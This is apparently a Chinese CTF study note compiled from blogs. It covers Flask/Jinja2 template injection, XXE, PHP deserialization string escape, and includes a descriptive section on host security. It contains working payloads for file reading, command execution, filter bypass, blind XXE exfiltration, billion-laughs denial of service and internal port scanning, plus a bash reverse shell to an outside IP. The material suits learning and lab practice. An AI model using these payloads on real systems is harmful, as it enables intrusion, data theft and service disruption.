02--SSTL模块注入+主机安全+反序列化逃逸
SSTL模块注入
SSTI:python-flask模块注入
原理:
1、flask模块的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下
return render_template('index.html')
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
html = '<h1>This is index page</h1>'
return render_template_string(html)
2、flask是使用Jinja2来作为渲染引擎的。
{{}}在Jinja2中作为变量包裹标识符。使用 {{内容}} 传入的内容都会被当做变量执行
利用
测试代码:
@app.route('/test/') //route装饰器的作用是将函数与url绑定起来,即 def test(): code = request.args.get('id') html = ''' <h3>%s</h3> '''%(code) return render_template_string(html)
XSS利用:
直接向?id中传入XSS语句
eg: ?id=<script>alert('xss')</script>
命令注入
os命令注入
eg: {{system('ls /')}}
{{system('cat /文件')}}
{{OS命令}}
{{os.popen('ls /').read()}}
php命令注入
eg:{{eval(var_dump(file_get_contents('/flag')))}}
{{php命令}}
SSTI基础利用:
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式
可以构造 ?id={{5*5}},若是页面的回显中存在结果 25 ;或是?id={{5+5}},回显10,则存在SSTI
可以用其读取运行文件
1)读取flask模块的全局变量config:
?id={{config}}
2)在 tornado框架的网站中,{{handler.settings}} 可以得出cookie_secret
SSTI文件读取和命令执行:
pythonon中的魔术方法:
__class__ 返回类型所属的对象(类)
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
思路:
通过python的对象的继续来一步步实现文件的读取和命令执行的
首先用__class__读取当前类对象的类,找到父类 <type 'object'>
然后用__mro__或者__base__寻找基类
然后用__subclasses__找命令执行或者文件操作的模块
然后使用__init__声明
然后使用__globals__引用模块
文件读取:
1.获取字符串的类对象(获取一个类):
?id={{'a'.__class__}}
2.寻找基类链,找到<type 'object'>类
?id={{ 'a'.__class__.__mro__}}
3.寻找<type 'object'>类的所有子类中可用的引用类
?id={{'a'.__class__.__mro__[2].__subclasses__()}}
这里可以看到有一个<type 'file'>类,也就是对文件操作的类,那么可以拿他的方法进行文件读取。
4.利用<type 'file'>的read()方法进行文件读取
?id={{'a'.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
命令执行
payload:
'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls') 'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('bash -i >& /dev/tcp/47.107.12.14/7777 0>&1') []中的数值根据具体场景确定
快速寻找os模块的脚本(利用globals可查看到此类包含所有模块的字典):
# encoding: utf-8 num=0 for item in ''.__class__.__mro__[2].__subclasses__(): try: if 'os' in item.__init__.__globals__: print(num) print(item) num+=1 except: print('-') num+=1
漏洞修复
将传入可控参数的地方加上变量包裹符{{}},即可防止表达式执行。
例如本例中将
''' <h3>%s</h3> '''%(code)
构造成:
'<h1>{{ code }}</h1>',code=code
强烈建议阅读原文:
https://www.cnblogs.com/-chenxs/p/11971164.html
https://blog.csdn.net/weixin_46342884/article/details/123246354
https://www.cnblogs.com/LoYoHo00/articles/15459969.html(命令注入那两点参考这个实验)
SSTI模块注入补充:
SSTI 就是服务器端模板注入(Server-Side Template Injection)
php、python、java中都存在,以下使其可能存在SSTI注入的模板
python: jinja2 mako tornado django
php:smarty twig Blade
java:jade velocity jsp
输入{{7*‘7’}},返回7777777表示是 Twig 模块
输入{{7*‘7’}}或{{7+7}},返回49或14表示是 Jinja2 模块
以上具体通过输入{{7*7}},根据返回结果判断属于那个模块,这种判断方法不知是否正确
Twig模块注入有特定的payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
若是直接使用ls 、cat 、php://filter/read 等OS、PHP命令失败,则可以试试其特定的payload
jinja2
jinja2一共三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。
但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,
从而绕过沙箱。
__class__ 返回调用的参数类型
__bases__ 返回基类列表
__mro__ 此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__() 返回子类的列表
__globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价
__builtins__ 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等
其一些pyload:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva'+'l' in b.keys() %} {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
等价于
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva'+'l' in b.keys() %} {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl'+'ag.txt").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
若是过滤其中一些关键字,则可以尝试利用拼接进行绕过:
任意命令执行:
通过查询可知,可以借助类<class'warnings.catch_warnings'>,没有内置os模块在第59位。<class 'site._Printer'> 内含os模块 在第71位,可以借助这些类来执行命令
不含os模块的类warnings.catch_warnings
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}
goobals被过滤:故而 使用 ['__gol'+'bals__'] 代替 原本的 .__golbals__
若是其它类似的关键词被过滤,可以尝试这样绕过
内含os模块的类 class'site._Printer'
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
参考:[CSCCTF 2019 Qual]FlaskLight——直取flag?_从flask中找flag-CSDN博客
CSCCTF 2019 Qual FlaskLight 轻量级 |北歌 (kinsey973.github.io)
SSTI补充2
若是我们传入的()会被过滤,且config,self被加入黑名单
表示我们不能进行命令注入,如:system('ls')
也不能使用python中的魔术方法
利用python里面的内置函数,比如url_for和get_flashed_messages
config 对象:
config 对象就是Flask的config对象,也就是 app.config 对象。
{{ config.SQLALCHEMY_DATABASE_URI }}
url_for() 方法:
url_for() 会返回视图函数对应的URL。如果定义的视图函数是带有参数的,则可以将这些参数作为命名参数传入。
get_flashed_messages() 方法:
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
url_for后面记得加.__globals__才看的到全局变量
get_flashed_messages() 同样
构造payload查看全局变量
http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{url_for.__globals__}} 或者: http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{get_flashed_messages.__globals__}}
构造payload查看变量信息:
假设flag在当前的配置变量中 'current_app': <Flask 'app'>
http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{url_for.__globals__['current_app'].config}} 或者: http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
若是没有思路时,可以尝试从全局变量中下手
参考实验:
https://blog.csdn.net/ANYOUZHEN/article/details/125106167
https://www.cnblogs.com/a16n/p/12850773.html
Flask补充
若是 {{}}被过滤,则可以使用{%print()%}代替,()内输入内容;
init被过滤,则可以使用enter代替;
popen过滤,则可以尝试使用字符串拼接的方式绕过,如 : "pop"+"en"
' 被过滤,尝试使用 " 绕过
例:
{%print("".__class__.__bases__[0].__subclasses__()[132].__enter__.__globals__["pop"+"en"]("cat /flag").read())%}
参考:
[NewStarCTF 2023] web题解 - overfit.cn 中的week3部分的 GenShin
SSTI各类案例
apache SSTI
Apache SSI 远程命令执行漏洞复现 - 雨中落叶 - 博客园 (cnblogs.com)
buuCTF [BJDCTF2020]EasySearch 1_dirsearch扫不出 swp___byb__的博客-CSDN博客
SSTL Debug (PIN)
[GYCTF2020]FlaskApp_eyugzm9yigmgaw4gw10ux19jbgfzc19fll9fymfzzv9fll9fc3-CSDN博客
主机安全
(它是一个 安全应用交付系统)
概述:
主机安全,其核心内容包括安全应用交付系统、应用监管系统、操作系统安全增强系统和运维安全管控系统。它的具体功能是指保证主机在数据存储和处理的保密性、完整性,可用性,它包括硬件、固件、系统软件的自身安全,以及一系列附加的安全技术和安全管理措施,从而建立一个完整的主机安全保护环境。
主机安全的主要功能
防护功能
1、 强制访问控制
在操作系统内核层实现文件、注册表、进程、服务、网络等对象的强制访问控制,可配置针对以上对象不同的访问策略来保护系统和应用资源,即使是系统管理员也不能破坏被保护的资源。
2、防格式化保护机制
保护功能开启时,可防止病毒和入侵者恶意格式化磁盘,同时降低管理员意外格式化磁盘的风险。
3、完整性检测
对文件和服务进行完整性检测,并可设置定期检测项目,当发现文件或者服务篡改时进行报警并发现哪些文件发生改变。
4、系统资源监控与报警
对系统的CPU、内存、磁盘、网络资源进行监控,当这些资源的使用状况超过设置的阀值时将进行报警,以提前发现资源不足、滥用等问题。
5、双因子认证和组合式密码认证
不仅提供SSR安全管理员和SSR审计官员的USB KEY+密码的双因子认证功能,还可对系统用户配发USB KEY实现双因子认证。对于远程登陆和虚拟化系统而无法识别USB KEY的服务器,SSR提供可配置两个密码组合的登陆认证方式,只有掌握密码的两个人同时存在才能登陆系统,以此确保自然人的可信。
审计功能
1、违规日志审计
记录系统内的所有违反强制访问控制策略的事件,并提供日志的查询、删除、备份、导出、日志分析和syslog转发功能
2、操作日志审计
记录管理员对SSR的所有操作事件如登陆、功能停用等,并提供日志的查询、删除、备份和导出。
3、关键事件报警
提供管理员可配置的时间报警机制,当管理员设定的事件被触发时,通过邮件的形式向管理员发出通知。
管理功能
1、统一管理机制
在一个SSR控制台可以同时对多个平台的SSR进行管理和维护,且SSR可开放接口给第三方管理平台集成,实现与不同产品间管理的融合。
2、灵活多样的策略模板
提供经过验证的分等级的安全策略模板,全面保护系统,方便易用,降低用户的使用难度。
3、信息收集
提供对系统信息以及SSR运行信息收集打包功能,当SSR在使用过程中出现问题或者用户有疑问时,可将收集的信息包发给SSR技术人员,技术人员可通过这些信息快速定位问题并解决用户疑问。
4、维护模式
当用户担心自己配置的策略是否会影响系统和应用时,可开启此功能,此时SSR将只记录违规的日志而不进行阻止,便于管理员在不造成业务中断的情况下调整策略。
产品价值:
免疫病毒木马,抵御黑客攻击
系统采用的ROST技术对系统中的文件、注册表、进程、网络、服务、帐户等多方面进行防护构建立体防护体系,从文件创建、执行、访问资源到结束层层把关,从根本上免疫各种已知未知病毒、后门等恶意代码,抵御黑客的攻击,确保系统和应用安全稳定运行。
降低"零日漏洞"风险,延迟漏洞修复
系统采用强制访问控制和白名单机制,只允许可信的帐户和进程访问被保护资源,并对操作系统中重要二进制文件进行完整性保护。即使恶意代码利用漏洞获取了系统的权限,也不能破坏系统文件和植入木马,降低了从“零日漏洞”发现到用户打上补丁之间这段“真空期”的安全风险,同时允许用户延迟补丁部署,推迟到定期修补周期进行修补。
分权管理,有效规避“一权独大”
系统采用了分权管理的机制,规避了原操作系统管理员“一权独大”的风险,将原系统管理员权限分散为系统操作员、安全管理员和审计管理员,三个权限各司其职,相互制约,实现了最小权限,不仅保证了系统安全性,同时贴合了国家相关信息安全标准规范。
提升系统安全级别,增强用户合规体验
系统在操作系统内核层实现了安全标记和强制访问控制机制,与用户系统自身的自主访问控制相融合,为系统和用户重要应用提供更强的约束和更高的安全控制级别,同时提供三权分立、完整性校验、双因素认证、剩余信息保护等紧贴信息安全标准的功能,帮助用户在系统安全建设时的合规要求。
主机面临的安全风险主要来自三个方面:
一、是主机本身的缺陷,这包括了软硬件本身的缺陷,如漏洞,以及管理人员的误操作;
二、是外部威胁,这是进行信息安全建设主要考虑的方面,防外;
三、是内部威胁,这是最近几年大家比较关注的,如何防止内部人员的非法访问和操作。
常见的主机安全风险:
数据漏洞
云环境与传统网络也有相同的安全威胁,就是数据漏洞,尤其云主机上存储的数据更为庞大,因此被攻击的可能性也会更大。
供应商通常会为保护其环境而设置很多安全控件,但使用者本身也需要时刻注意漏洞的修复工作。
密码和证书
简单的密码和不严格的认证都是存在的隐患之一,企业应当在保证证书安全性的前提下,使用多种形式的认证,包括手机认证、邮箱认证和复杂性密码等。
已开发的系统
已开发系统存在的脆弱性也会成为黑客攻击的对象之一,通常情况下,我们需要进行紧急补丁或“基本IT过程”来降低被攻击的可能性。
账户劫持
钓鱼网站、病毒软件的存在和开发使账户存在许多隐形风险,一旦登入这些诈骗网站,账户的安全信息则会轻易泄露。
因此我们需要时刻警惕不明链接的产生,对管理和服务账户形成严格监管,尤其绑定账户的安全认证更不能被窃取。
病毒渗透
很多病毒的渗透完成在不经意间,渗透后更是会在一定时间内无声息地窃取数据和知识产权,例如APT病毒。因此IT部门必须对云主机部署不同情况的安全措施,启用最新的防火墙程序。
共享引发的潜在危机
共享存在的安全隐患给自身云主机带来了巨大威胁,在共享的任何一层内发生的损坏都会涉及到整个云主机的安全。
主机网络安全关键技术(常见的几个)
1、入侵检测
入侵检测是主机网络安全的一个重要组成部分。它可以实现复杂的信息系统安全管理从目标信息系统和网络资源中采集信息分析来自网络外部和内部的人侵信号实时地对攻击做出反应。
入侵检测系统通常分为基于主机和基于网络两类。
1)基于主机入侵检测的主要特征是使用主机传感器监控本系统的信息。这种技术的优点是可用于分布式加密、交换的环境中监控并把特定的问题同特定的用户联系起来,缺点是增加了系统的负担。
在主机网络安全体系结构中采用基于主机的入侵检测技术实现对主机的保护,它能够实时监视可疑的连接,检查系统日志,监视非法访问和典型应用。还可针对不同操作系统的特点判断应用层的入侵事件。对系统质性文件属性敏感数据攻击进程结果进行监控。它能够精确地判断入侵事件,并对入侵事件迅速做出反应,并结合主机上的包过滤功能模块切断来自可疑地址的网络连接。
2) 基于网络的入侵检测主要特征是网络监控传感器监控包监听器收集的信息,它不能审查加密数据流的内容,对高速网络不足够有效。
2、访问控制
访问控制通俗的说就是给出一套方法,将系统中的所有功能标识出来,组织起来,托管起来,然后提供一个简单的唯一的接口,这个接口的一端是应用系统,一端是权限引擎。
而权限引擎所回答的只有:谁是否对某资源具有实施某个动作(运动、计算)的权限。收到的返回结果只有三种:有、没有、权限引擎异常。
访问控制是计算机系统和非计算机系统都需要用到的一种技术。
访问控制是按用户身份及其所归属的某项定义组来限制用户对某些信息项的访问,或限制对某些控制功能的使用的一种技术,访问控制通常用于系统管理员控制用户对服务器、目录、文件等网络资源的访问,UniNAC网络准入控制系统的原理就是基于此技术之上。
3、加密传输
加密传输技术是一种十分有效的网络安全技术,它能够防止重要信息在网络上被拦截和窃取。
加密传输是为了安全目的对信息进行编码和解码。数据加密的基本过程就是将可读信息(明文)译成密文(或密码)的代码形式。加密的逆过程就是解密。
4、身份认证
用户身份认证是保护主机系统的一道重要防线,它的失败可能导致整个系统的失败。
身份认证是确定某人或某事是否名副其实或有效的过程。认证的基本思想是通过验证称谓者的一个或多个参数的真实性与有效性,以达到认证的目的。
认证的主要目的为信源识别与信息完整性验证。安全可行的认证系统应建立在密码学的基础上。用户身份认证可以识别合法用户和非法用户,从而阻止非法用户访问系统。
搬运整合自:
https://zhuanlan.zhihu.com/p/494613327
https://www.xinnet.com/knowledge/2142325913.html
https://baike.baidu.com/item/%E4%B8%BB%E6%9C%BA%E5%AE%89%E5%85%A8/1343256#1
XXE
XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。
libxml2.9.1及以后,默认不解析外部实体。当XML声明中standalone值是yes的时候表示DTD仅用于验证文档结构,外部实体将被禁用。但它的默认值是no,而且有些parser会直接忽略这一项。
XML外部实体
本文主要讲外部实体注入攻击,所以基本的XML语法就不过多的描述。主要看一下DTD-实体。
<?xml version = "1.0" encoding = "utf-8"?> //xml声明 <!DOCTYPE ANY[ <!ENTITY entityname SYSTEM "file:///etc/passwd"> //DTD部分 ]> <abc>&entityname</abc> //XML部分
首先让我们了解一下基本的PAYLOAD结构:
image.pngDTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。
实体分为一般实体和参数实体
1. 一般实体的声明:<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;
p.s.经实验,普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。
2. 参数实体的声明:<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;
p.s.经实验,参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。
如果实体名称中出现如<的特殊字符,解析就会失败。为了避免这种情况,XML用实体引用替换特殊字符。XML预定义了五个实体引用,即用<、 >、 &、 &apos、 "替换<、>、&、'、"。
DTD实体声明(重点)
1. 内部实体声明
<!ENTITY 实体名称 "实体的值">
当引用一般实体时,由三部分构成:&、实体名、;,当是用参数传入xml的时候,&需URL编码,不然&会被认为是参数间的连接符号。
示例:
<?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY writer "Dawn"> <!ENTITY copyright "Copyright W3School.com.cn"> ]> <test>&writer;©right;</test>
2. 外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
外部实体可支持http、file等协议。不同程序支持的协议不同,如下图:
image.png其中PHP支持的协议会更多一些,但是需要一定的扩展支持:image.png
示例:
<?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///etc/passwd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> ]> <author>&file;©right;</author>
一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。
有回显的payload写法:
-
直接通过DTD外部实体声明。XML内容如下:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY test SYSTEM "file:///etc/passwd"> ]> <abc>&test;</abc>
-
通过DTD文档引入外部DTD文档,再引入外部实体声明。XML内容如下:
<?xml version="1.0"?> <!DOCTYPE a SYSTEM "http://localhost/evil.dtd"> <abc>&b;</abc>
evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
-
通过DTD外部实体声明引入外部实体声明。XML内容如下:
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % d SYSTEM "http://localhost/evil.dtd"> %d; ]> <abc>&b;</abc>
evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
但是如果想通过如下声明是不可以的:
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY d SYSTEM "http://localhost/evil.xml"> ]> <abc>&d;</abc>
测试发现这种实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,参数实体就好用很多。
无回显的payload写法:
-
第一种无回显示payload写法:
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % file SYSTEM "file:///c://test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> %dtd; %all; ]> <abc>&send;</abc>
其中evil.xml文件内容为
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'>">
调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用实体send。
-
第二种无回显payload写法:
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> %dtd; %send; ]> <abc></abc>
其中evil.xml文件内容为:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;
调用过程和第一种方法类似,但最里层的嵌套里
%
要进行实体编码成%
。无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
这里注意参数实体引用%file;
必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则解析器会报错: PEReferences forbidden in internal subset
。这里的 internal subset
指的是中括号[]
内部的一系列元素声明,PEReferences
指的应该是参数实体引用 Parameter-Entity Reference
。
一般都使用第二种方法,因为当文件中含有中文字符或<
字符,会导致不能解析。
XXE带来的危害
利用xxe漏洞可以进行文件读取,拒绝服务攻击,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等。内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现,可以理解是使用xxe进行SSRF的利用,基本上啥都能做。
首先准备一个有XXE漏洞的文件,本次测试以php为主:
<?php $xml = simplexml_load_string($_REQUEST['xml']); echo "<pre>" ; print_r($xml);//注释掉该语句即为无回显的情况 ?>
危害1.读取任意文件
有回显情况:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY test SYSTEM "file:///E://phpStudy/PHPTutorial/WWW/etc/passwd.txt"> ]> <abc>&test;</abc>
无回显情况:
本次测试用的phpStudy,需开启apache日志记录并重启服务。当无回显情况时,可以将数据发送到远程服务器。
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=E://phpStudy/PHPTutorial/WWW/etc/passwd.txt"> <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> %dtd; %send; ]> <abc></abc>
远程服务器部署evil.xml内容为:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;
通过此方法可以读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件、获取帐号密码后进一步攻击。如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。
危害2.拒绝服务攻击
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
此示例就是著名的Billion laughs attack该攻击是通过创建一项递归的 XML 定义,在内存中生成十亿个"Ha!"字符串,从而导致 DoS 攻击。
原理:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。
危害3.远程命令(代码)执行
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY test SYSTEM "expect://id"> ]> <abc>&test;</abc>
此示例是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能有此漏洞。
危害4.内网信息探测
利用http协议http://url/file.ext,替换标准poc中相应部分即可,这种情况比较不稳定,根据不同xml解析器会得到不同的回显报错结果。
有回显情况:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY test SYSTEM "http://127.0.0.1:87/tets.txt"> ]> <abc>&test;</abc>
然后,观察页面
无回显情况:
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:81/"> <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> %dtd; %send; ]> <abc></abc>
远程服务器部署evil.xml内容为:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;
观察日志文件即可。
有的无回显的情况还可以通过抓包看响应头返回的状态码,返回的报错信息等判断。
危害5.攻击内网网站
参考:
以上内容完全搬运自以下博客:
https://www.freebuf.com/column/181064.html
其它参考:
https://blog.csdn.net/weixin_44420143/article/details/118721145
实验理解:
https://www.cnblogs.com/upfine/p/16534940.html
https://www.bilibili.com/read/cv18557881
https://www.cnblogs.com/s1awwhy/p/13736633.html
反序列化逃逸
以此为例讲解:
<?php highlight_file(__FILE__); function waf($str){ return str_replace("bad","good",$str); } class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); } } unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data
从上可知,这是一个反序列化的题目,代码中的waf()函数会替换参数中的bad为good,此时参数的长度就变了,没多一个bad,长度就多1;
因此,考虑字符串逃逸。从而构造我们想要的cmd
我们想为key赋值,然后序列化该对象得到(先不用管最后一行代码)
O:7:"GetFlag":2:{s:3:"key";s:3:"124";s:3:"cmd";s:6:"whoami";}
红色部分就是我们需要修改的内容。
例如,我们需要修改红色部分为:
";s:3:"cmd";s:9:"cat /flag";} 字符串长度为29
则需要先有29个bad在前,被替换后,就会多29个字符,则这29个字符即是我们需要逃逸的内容
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
而之后的内容即是逃逸出来的字符串(红色部分),它会被当做是当前类的属性进行被执行。
注意:红色部分的字符串长度,要和逃逸内容的长度相同。
参考:NewStarCTF2023week4-逃(反序列化字符串逃逸)-CSDN博客
XXE内网主机/端口扫描
探测内网的一些常用命令:
-
file:///etc/hosts:
- 这是系统中的静态主机名解析文件,用于将主机名映射到IP地址。在DNS查询之前,系统会首先检查此文件,因此常用于本地网络配置或测试。例如,可以在此文件中添加"127.0.0.1 example.com"来将example.com指向本地。
-
file:///proc/net/arp:
- 此文件显示当前系统的ARP(地址解析协议)缓存表,记录了IP地址与物理MAC地址的对应关系。ARP协议用于在局域网中通过IP地址查找设备的物理地址,此文件的信息是动态更新的。
-
file:///proc/net/tcp:
- 此文件提供了当前所有TCP连接的状态信息,包括本地地址、远程地址、状态(如ESTABLISHED、TIME_WAIT)等。它是监控网络连接和排查TCP相关问题的重要工具。
-
file:///proc/net/udp:
- 类似于TCP文件,此文件记录了当前所有UDP套接字的状态信息。UDP是一种无连接的传输协议,常用于音视频传输或DNS查询。
-
file:///proc/net/dev:
- 此文件记录了系统中所有网络设备的详细统计信息,包括接收和发送的数据包数量、错误计数等。通过此文件可以监控网卡的实时流量和故障情况。
-
file:///proc/net/fib_trie:
- 此文件展示了内核的路由表信息,通常以前缀树(Trie)结构组织。用于查看系统的IP路由规则,包括子网、网关和接口配置。
还有常见的读取密码 file:///etc/passwd 以下为php://filter伪协议读取文件内容 resource后加路径 php://filter/read=convert.base64-encode/resource= 以下为访问存活主机 http://IP
常见的XXE攻击代码:
<?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY b SYSTEM "file:///etc/hosts"> ##修改这里执行不同命令 ]> <user><username>&b;</username><password>admin</password></user>
参考:XXE之探测内网端口 [NCTF2019]True XML cookbook-CSDN博客 [NCTF2019]True XML cookbook 1简单的记一次xxe,复习复习 首先拿到这个题 根据题名就知道是 - 掘金 (juejin.cn)
文章中通过一个CTF题目,详细讲述了怎样利用XXE扫描内网端口、读取内网文件,任何利用BP来通过XXE进行内网扫描;强烈建议仔细阅读!!!
注: 本文几乎是搬运网上各位作者的部分文章,组成了我想要了解和学习的知识点;每一小节都有标明出处,建议阅读原文(原文更加详细),若有冒犯,望海涵!